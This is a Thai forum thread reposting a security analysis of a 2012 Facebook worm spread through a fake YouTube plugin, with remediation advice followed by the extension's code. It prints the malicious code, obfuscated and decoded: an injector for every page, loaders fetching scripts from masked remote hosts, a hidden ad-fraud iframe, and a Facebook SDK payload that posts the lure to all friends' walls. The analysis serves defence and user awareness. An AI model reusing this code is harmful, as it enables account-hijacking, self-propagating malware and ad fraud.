PDA

ดูเวอร์ชั่นเต็ม : ระวังไวรัส clip โป้ตัวใหม่บน Facebook



getmar1472
13th January 2012, 17:49
http://www.youtube.com/watch?v=D8KJLGy82fg

หลังจากที่ CITEC ทำ video เตือนเกี่ยวกับไวรัส FB ตัวล่าสุดที่กำลังระบาดอยู่ออกมา ก็ได้รับการตอบรับอย่างแพร่หลาย ซึ่งก็มีคำถามเข้ามาว่าถ้าเราพลาดติดไวรัสแล้ว จะมีความเสียหายอะไรเกิดขึ้นบ้าง ซึ่งเมื่อวานผมก็ได้รับมอบหมายให้หาคำตอบ *0* ก่อนอื่นต้องขอบอกก่อนว่าช่วงนี้ผมค่อนข้างยุ่งกับโปรเจคตัวหนึ่ง ซึ่งกะจะทำให้เสร็จทันงาน CITEC Con 4 แล้วจะนำไปบรรยายในงาน ทำให้ผมไม่ค่อยมีเวลาได้ติดตามไวรัสตัวนี้ตั้งแต่ที่มีการระบาดแรกๆ นอกจากนั้นไวรัสที่ระบาดออกมาอาจสร้างความเสียหายที่แตกต่างกันไป แล้วแต่ version ที่มีการสร้างออกมา ผมก็พยายามตามหา link ที่คาดว่าจะเป็นไวรัสตัวนี้อยู่สักพัก ก็ได้มา link หนึ่ง อย่างไรก็ตาม ผมไม่ทราบว่าตัวที่ท่านผู้อ่านติด กับตัวที่ผมหาได้ เป็นตัวเดียวกันหรือไม่ เพราะฉะนั้นผมมีคำแนะนำดังนี้ครับ

1. ให้สมมติว่า password โดนขโมยไปเรียบร้อยแล้ว เพราะฉะนั้นให้ทำการเปลี่ยน password ของเว็บที่สำคัญๆ เช่น facebook, google, hotmail เป็นต้น
2. ให้ตรวจสอบว่ามีการติดตั้ง add-on แปลกๆ บน browser ที่เราใช้อยู่หรือไม่
- ผู้ใช้ Firefox สามารถดูได้ที่ Tools -> Add-ons หรือกด Ctrl + Shift + a ครับ
- ผู้ใช้ Chrome สามารถดูได้ที่ Tools -> Extensions หรือใส่ chrome://settings/extensions ไปที่ address bar แล้วกด enter ครับ
3. ให้ตรวจสอบระบบกู้คืน password ของเว็บไซต์สำคัญๆ ต่างๆ ว่ามีการเปลี่ยนแปลงไปหรือไม่ เช่น email สำรองสำหรับขอ password ใหม่ หรือเบอร์โทรศัพท์สำหรับขอ password ใหม่ เป็นต้น
4. ให้สมมติว่า cookie โดนขโมยไปเรียบร้อยแล้ว เพราะฉะนั้นให้ logout จากเว็บทุกเว็บที่ login อยู่ แล้วค่อย login ใหม่ครับ (ถ้าเปลี่ยน password ด้วยจะยิ่งดีครับ)

ทีนี้มาดูบทวิเคราะห์ของเจ้าไวรัสตัวที่ผมหาได้กันเลย
Note: code ในหลายๆ ส่วนผมได้เปลี่ยนแปลงเพื่อป้องกันผู้อ่านบางท่านที่อาจเผลอรัน script จะได้ไม่เป็นอันตรายนะครับ


url ที่ผมหาได้คือ http://bit.ly/xYYWvY ซึ่งจะ redirect ไปที่ http://bbpeonf25.blogspot.com/?ref=1 ซึ่งหน้าตาของเว็บเป็นดังภาพครับ

http://upic.me/i/vg/ffstart-300x249.png (http://upic.me/show/32051657)

จะเห็นว่าผู้ไม่หวังดีทำหน้าตาของเว็บให้ดูเหมืนอเป็นเว็บ youtube และ video ที่ปรากฎขึ้นมาก็เป็น video 18+ *0* เชิญชวนให้คนอยากดูเป็นอย่างยิ่ง 55 แต่จะเห็นตรงกลางภาพบอกว่า ถ้าอยากดูให้ install youtube player plugin ก่อน ซึ่ง plugin ตัวนี้ เป็น plugin ทีผู้ไม่หวังดีสร้างขึ้นมาเอง (ถ้าเจอที่ไหนเป็น youtube player ห้าม install เด็ดขาดนะครับ เพราะ youtube ไม่ต้องใช้ plugin ใดๆ ก็ดูได้อยู่แล้ว ยกเว้น flash 55) นอกจากนั้นเจ้า website แห่งนี้ก็ทำการตรวจสอบ browser ซะด้วย ถ้าเราใช้ Chrome ก็จะเป็นการ download plugin ของ Chrome ถ้าเราใช้ Firefox ก็เป็นการ download plugin ของ Firefox ครับ ดังภาพข้างล่าง

http://upic.me/i/f6/ffstart-300x2491111.png (http://upic.me/show/32051676)

http://upic.me/i/1r/ffstart-300x249.png (http://upic.me/show/32051677)

สำหรับกรณีนี้ ผมทดสอบเฉพาะการทำงานของไวรัสบน Firefox ครับ ซึ่งผมก็ได้ download เจ้า plugin ตัวนี้มา แล้วนำมาวิเคราะห์ เนื่องจาก plugin ของ Firefox เป็นแค่ zip ไฟล์ปกติ ผมจึงเปลี่ยน extension จาก xpi ไปเป็น zip แล้วก็ extract ออกมาจะมี code สำหรับ plugin อยู่ใน folder content ซึ่งมีไฟล์ที่น่าสนใจอยู่ 2 ไฟล์ คือ youtube.js และ script-compiler.js (ที่จริงทุกไฟล์มีส่วนสำคัญหมดแต่ผมยกจุดที่เป็นตัว execute script มาจากแค่ 2 ไฟล์ครับ ไม่งั้นยาวแน่ 55)

เริ่มจาก script-compiler.js ซึ่งมี code ส่วนหนึ่งดังนี้

?123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263 contentLoad: function(e) { var unsafeWin=e.target.defaultView; if (unsafeWin.wrappedJSObject) unsafeWin=unsafeWin.wrappedJSObject; var unsafeLoc=new XPCNativeWrapper(unsafeWin, "location").location; var href=new XPCNativeWrapper(unsafeLoc, "href").href; if ( youtube_gmCompiler.isGreasemonkeyable(href)) { var script=youtube_gmCompiler.getUrlContents( 'chrome://youtube/content/youtube.js' ); youtube_gmCompiler.injectScript(script, href, unsafeWin); } }, injectScript: function(script, url, unsafeContentWin) { var sandbox, script, logger, storage, xmlhttpRequester; var safeWin=new XPCNativeWrapper(unsafeContentWin); sandbox=new Components.utils.Sandbox(safeWin); var storage=new youtube_ScriptStorage(); xmlhttpRequester=new youtube_xmlhttpRequester( unsafeContentWin, window//appSvc.hiddenDOMWindow ); sandbox.window=safeWin; sandbox.document=sandbox.window.document; sandbox.unsafeWindow=unsafeContentWin; // patch missing properties on xpcnw sandbox.XPathResult=Components.interfaces.nsIDOMXPathResult; // add our own APIs sandbox.GM_addStyle=function(css) { youtube_gmCompiler.addStyle(sandbox.document, css) }; sandbox.GM_setValue=youtube_gmCompiler.hitch(storage, "setValue"); sandbox.GM_getValue=youtube_gmCompiler.hitch(storage, "getValue"); sandbox.GM_openInTab=youtube_gmCompiler.hitch(this, "openInTab", unsafeContentWin); sandbox.GM_xmlhttpRequest=youtube_gmCompiler.hitch( xmlhttpRequester, "contentStartRequest" ); //unsupported sandbox.GM_registerMenuCommand=function(){}; sandbox.GM_log=function(){}; sandbox.GM_getResourceURL=function(){}; sandbox.GM_getResourceText=function(){}; sandbox.__proto__=sandbox.window; try { this.evalInSandbox( "(function(){"+script+"})()", url, sandbox); } catch (e) { var e2=new Error(typeof e=="string" ? e : e.message); e2.fileName=script.filename; e2.lineNumber=0; //GM_logError(e2); alert(e2); } },

ซึ่ง code ส่วนนี้จะทำการ inject javascript ลงไปบนเว็บที่เราเปิดด้วย Firefox ทุกเว็บเลยครับ โดยดึง javascript มาจาก youtube.js

ในส่วนของ youtube.js จะมี code ดังนี้อยู่

?1 eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k1||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k1)p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k1);return p}('(c(){5 1=3.h(\'4\');1.2("7","8/9");1.2("b","6");1.2("d","//e.f/4.g");5 a=3.i("j")[0];k(a!=l){a.m(1)}}());',23,23,'|s|setAttribute|document|script|var|true|type|text|javascript||async|function|src|bbpxxxx|cccc|js|createElement|getElementsByTagName|head|if|null|appendChild'.split('|'),0,{}))

ซึ่งเป็น javascript code ที่ถูก obfuscate ไว้ เมื่อ deobfuscate ออกมาจะได้ code ดังนี้ครับ

?1 (function(){var s=document.createElement('script');s.setAttribute("type","text/javascript");s.setAttribute("async","true");s.setAttribute("src","//bbpxxxx.cccc/script.js");var a=document.getElementsByTagName("head")[0];if(a!=null){a.appendChild(s)}}());

จะเห็นว่าเป็นการดึง script จาก bbpxxxx.cccc/script.js มารัน พอผมลองเรียกดู script นี้ ก็ถูก redirect ไปที่ http://50.56.yyy.zzz/s.js ซึ่ง script ตัวนี้มี code ดังต่อไปนี้อยู่ (คนสร้างเค้ากด enter ไว้หลายพันรอบ แล้วค่อยวาง script ไว้กลางๆ หน้า ทำให้นึกว่าไม่มี script อยู่ครับ แต่ถ้าลอง search หาคำว่า script จะเจอทันที)

?1 eval(function(p,a,c,k,e,r){e=function(c){return c.toString(36)};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k1;k=[function(e){return r[e]||e}];e=function(){return'[2-9dghj-o]'};c=1};while(c--)if(k1)p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k1);return p}('(4(){(4(){4 b(){6 a=3.7(\'script\');a.2("type","text/javascript");a.2("8","//9.d.g.h/e.js?"+j.floor(j.random()*10001)+""+(k.5==3.5?\'\':\'&i=1\')+(typeof FB!=\'undefined\'?\'&f=1\':\'\'));a.2("async","l");6 c=3.getElementsByTagName(\'head\')[0];m(c==null)n false;c.o(a);n l}b();setInterval(b,300*1000)}());(4(){m(k.5==3.5){6 a=3.7(\'iframe\');a.2("frameborder","0");a.2("height","0");a.2("width","0");a.2("8","//9.d.g.h/a.html");3.body.o(a)}}())}());',[],25,'||setAttribute|document|function|location|var|createElement|src|50||||56|||yyy|zzz||Math|top|true|if|return|appendChild'.split('|'),0,{}))

ซึ่งก็เป็น javascript ที่ถูก obfuscate ไว้เหมือนกัน พอ deobfuscate แล้วจะได้ code ดังนี้ครับ

?1 (function(){(function(){function b(){var a=document.createElement('script');a.setAttribute("type","text/javascript");a.setAttribute("src","//50.56.yyy.zzz/e.js?"+Math.floor(Math.random()*10001)+""+(top.location==document.location?'':'&i=1')+(typeof FB!='undefined'?'&f=1':''));a.setAttribute("async","true");var c=document.getElementsByTagName('head')[0];if(c==null)return false;c.appendChild(a);return true}b();setInterval(b,300*1000)}());(function(){if(top.location==document.location){var a=document.createElement('iframe');a.setAttribute("frameborder","0");a.setAttribute("height","0");a.setAttribute("width","0");a.setAttribute("src","//50.56.yyy.zzz/a.html");document.body.appendChild(a)}}())}());

ครั้งนี้จะเห็นว่ามีการเรียน script เพิ่มเติมคือ 50.56.yyy.zzz/e.js และ 50.56.yyy.zzz/a.html

ผมขอพูดถึง a.html ก่อนนะครับ ผมได้ลองเรียกไฟล์ a.html มาดู พบว่ามี code ดังนี้ครับ

?1 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><style>*{border:0;padding:0;margin:0}</style></head><body><iframe width='0' height='0' frameborder='no' framespacing='0' scrolling='no' src='//ads.lfstmedia.com/fbslot/slot21412?ad_size=728x90&adkey=5d2'></iframe><iframe width='0' height='0' frameborder='no' framespacing='0' scrolling='no' src='//ads.lfstmedia.com/fbslot/slot17395?ad_size=728x90&adkey=9cd'></iframe><iframe width='0' height='0' frameborder='no' framespacing='0' scrolling='no' src='//ads.lfstmedia.com/slot/slot24252?ad_size=728x90&adkey=260'></iframe><iframe width='0' height='0' frameborder='no' framespacing='0' scrolling='no' src='//ads.lfstmedia.com/slot/slot15247?ad_size=300x250&adkey=454'></iframe><iframe width='0' height='0' frameborder='no' framespacing='0' scrolling='no' src='//ads.lfstmedia.com/slot/slot26254?ad_size=300x250&adkey=5c9'></iframe><iframe width='0' height='0' frameborder='no' framespacing='0' scrolling='no' src='//ads.lfstmedia.com/slot/slot25758?ad_size=468x60&adkey=5b2'></iframe><iframe width='0' height='0' frameborder='no' framespacing='0' scrolling='no' src='//ads.lfstmedia.com/slot/slot25501?ad_size=300x250&adkey=245'></iframe><script type="text/javascript">(function(){if(top.location==document.location){top.location='http://www.google.com/';}}());</script></body></html>

ซึ่งจะเห็นว่าเป็นเพียงแค่การเรียก ad ธรรมดา แต่จุดนี้เป็นจุดสำคัญสำหรับคนสร้างไวรัสเลยครับ เพราะจำนวนครั้งที่ ad ถูกเรียก ยิ่งมากเท่าไหร่ คนสร้างไวรัสก็ได้เงินมากเท่านั้น ยิ่งคนติดไวรัสเยอะ เค้าก็ยิ่งได้เงินเยอะ เพราะฉะนั้น หัวใจสำคัญของไวรัสตัวนี้สำหรับคนสร้างก็คือการเรียก ad นี่แหละครับ ซึ่งจะทำให้เค้ามีรายได้มากขึ้น

สำหรับไฟล์ e.js จะเห็นว่ามีการใส่ paramenter ไปด้วย จุดที่สะดุดตาผมคือ code ส่วนนี้ครับ

?1 (typeof FB!='undefined'?'&f=1':'')

เจ้า code ตัวนี้จะเป็นตัวบอกว่าจะใส่ตัวแปร f=1 ไปกับการเรียกใช้ไฟล์ e.js ด้วยหรือไม่ และจุดสำคัญคือตัวแปรที่ชื่อ FB ผมคาดว่าน่าจะเป็นการตรวจสอบว่าหน้าที่เปิดอยู่เป็น facebook หรือไม่ ถ้าใช่ก็จะใส่ paramenter f=1 ไปกับการเรียกไฟล์ e.js ด้วย แต่ถ้าไม่ใช่ก็ไม่ใส่ครับ อย่างไรก็ตาม จากสมมติฐานนี้ ผมได้ลองเรียกไฟล์ e.js แบบใส่ f=1 เป็น parameter และแบบที่ไม่ได้ใส่ พบว่าได้ response ที่แตกต่างกัน โดยเมื่อไม่ใส่ response จะว่างเปล่าไม่มีอะไรน่าสนใจ แต่เมื่อใส่จะได้ response เป็น script ต่อไปนี้ครับ

?1 eval(function(p,a,c,k,e,r){e=String;if('0'.replace(0,e)==0){while(c--)r[e(c)]=k1;k=[function(e){return r[e]||e}];e=function(){return'[1-9]'};c=1};while(c--)if(k1)p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k1);return p}('(2(){(2(){3.4(\'/6/friends\',2(a){if(typeof a.5!=\'undefined\'){3.4(\'/6\',2(g){for(1 b=0;b<a.5.length;b++){1 h=\'\';1 c=\'7://j.mp/Agfl2M\';1 d=\'7://i.imgur.8/WNTxo.jpg\';1 e=\'making of SHOOOOP video!\';1 f=\'I KNOW YOU GUYS JUST CLICKED THIS BECAUSE OF THE THUMBNAIL 9 HUNNY JUCEY GURL 9 SUCKIN MA THANG. so its your fault you watched this. not mine.\';3.4(\'/\'+a.5[b].id+\'/feed\',\'post\',{picture:d,name:e,description:f,caption:\'www.facebook.8\',link:c},2(i){})}})}})}())}());',[],10,'|var|function|FB|api|data|me|http|com|IS'.split('|'),0,{}))

เมื่อ deobfuscate จะได้ดังนี้

?1 (function(){(function(){FB.api('/me/friends',function(a){if(typeof a.data!='undefined'){FB.api('/me',function(g){for(var b=0;b<a.data.length;b++){var h='';var c='http://j.mp/Axxxxx';var d='http://i.imgur.com/Wyyyy.jpg';var e='making of SHOOOOP video!';var f='I KNOW YOU GUYS JUST CLICKED THIS BECAUSE OF THE THUMBNAIL IS HUNNY JUCEY GURL IS SUCKIN MA THANG. so its your fault you watched this. not mine.';FB.api('/'+a.data[b].id+'/feed','post',{picture:d,name:e,description:f,caption:'www.facebook.com',link:c},function(i){})}})}})}())}());

โดย code ชุดนี้จะเป็นการใช้ facebook javascript SDK เพื่อ post link ลงบน wall ของเพื่อนเราครับ โดยมีหัวข้อเป็น “making of SHOOOOP video!” มีคำอธิบายว่า “I KNOW YOU GUYS JUST CLICKED THIS BECAUSE OF THE THUMBNAIL IS HUNNY JUCEY GURL IS SUCKIN MA THANG. so its your fault you watched this. not mine.” และ link ไปที่ “http://j.mp/Axxxxx” ซึ่งเมื่อเราเปิด link “http://j.mp/Axxxxx” ก็จะถูก redirect ไปที่ “http://ieokoxxxxx.blogspot.com/” ซึ่งจะเป็นการเริ่มต้น loop การติดไวรัสอีกครั้งนั่นเอง

สรุปแล้วเป้าหมายของไวรัสตัวนี้คือการเก็บสถิติโฆษณาให้ได้มากที่สุด โดยใช้การแพร่กระจายผ่าน social network เป็นเครื่องมือครับ ซึ่งการทำแบบนี้จะทำให้ผู้สร้างไวรัสแพร่กระจายไวรัสได้เร็วขึ้น และได้เงินมากขึ้นนั่นเอง



credit http://thaicomsec.citec.us

mta28
13th January 2012, 18:07
ขอบคุณมากๆครับ

deekiing
13th January 2012, 19:03
กำมันคือไวรัสหรอกรึ ไอกระผมดันไปกดมันซะแล้ว....(รูปตัวอย่างมันล่อใจ-*-)